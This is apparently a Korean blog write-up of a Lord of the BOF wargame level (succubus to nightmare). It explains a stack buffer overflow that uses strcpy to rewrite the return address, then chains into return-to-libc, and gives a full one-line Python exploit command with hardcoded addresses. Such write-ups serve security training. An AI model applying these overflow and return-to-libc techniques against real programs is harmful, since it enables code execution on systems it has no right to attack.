Profile

머리정리하는곳

c2w2m2

[Level18] succubus -> nightmare


Ret에 strcpy를 넣으라고 하네요..


그럼 main 함수의 Ret는 strcpy로 고정되있으니 strcpy의 Ret를 덮으면 되겠거니 했는데 strcpy 의 Ret를 A로 덮어 버리네요


그럼 strcpy를 호출한 이상 strcpy를 이용해서 Ret의 값을 바꿔주면 되지 않을까.....요?


고로 계획을 세워보면


dummy + SFP [44 byte] + strcpy 주소 [4 byte] + dummy[4 byte] + buffer+48 주소 [4 byte] + argv[2] 주소 [4bye] + RTL


어후 복잡해라. 


buffer + 48 과 argv[2] 주소는 언제나처럼 소스코드 복사 하셔서 printf("%p   %p\n", buffer+48 , argv[2]); 하시면 됩니다


그러면 주소가  각각         0xbffffaa0       0xbffffc3c        가 나오니 이를 이용해서 공격을 해보면



./nightmare `python -c 'print "A"*44 + "\x10\x84\x04\x08" +"AAAA"+"\xa0\xfa\xff\xbf" + "\x3c\xfc\xff\xbf" + " " + "\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`




클리어!

'Pwnable > LOB' 카테고리의 다른 글

[Level20] xavius -> death_knight  (0) 2017.05.18
[Level19] nightmare -> xavius  (0) 2017.05.18
[Level17] zombie_assassin -> succubus  (0) 2017.05.18
[Level16] assassin -> zombie_assassin  (0) 2017.05.17
[Level15] giant -> assassin  (0) 2017.05.17